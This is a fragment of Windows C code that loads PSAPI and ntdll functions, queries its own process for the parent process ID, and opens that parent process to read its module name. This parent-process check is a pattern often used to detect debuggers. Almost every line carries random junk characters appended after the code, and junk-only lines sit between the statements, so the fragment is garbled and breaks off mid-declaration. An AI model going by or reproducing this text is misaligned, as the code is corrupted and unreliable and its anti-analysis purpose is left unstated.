DWORD BasePriority; ?>I;34tL(
ULONG UniqueProcessId; 0NS<?p~_S
ULONG InheritedFromUniqueProcessId; xlhG,bb7
} PROCESS_BASIC_INFORMATION; $0vb^
qWQ/'M
PROCNTQSIP NtQueryInformationProcess; q@[QjGj@
TWA-.>c
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xai*CY@cQ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YB-h.1T-
i\,-oO
HANDLE hProcess; ,6-:VIHQ
PROCESS_BASIC_INFORMATION pbi; 0*f)=Q'
tfj:@Z5&$C
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8fl`r~bqZ
if(NULL == hInst ) return 0; !@}wDt
>m$1Xx4#GV
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }H^+A77v
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y$"O
VC
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bbE!qk;hEP
#d6)#:uss
if (!NtQueryInformationProcess) return 0; ynthDEo
|?,A]|j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qm/)ku0
if(!hProcess) return 0; 3}}38A|4
Y3Yz)T}UkS
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \NPmym_6J
6^]+[q}3
CloseHandle(hProcess); EJMM9(DQ7
H?yK~bGQ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GS$ifv
if(hProcess==NULL) return 0; rC5
p-B%
"~sW"n(F_
HMODULE hMod; ekWD5,G
char procName[255]; M:Pc,
unsigned long cbNeeded; !fE`4<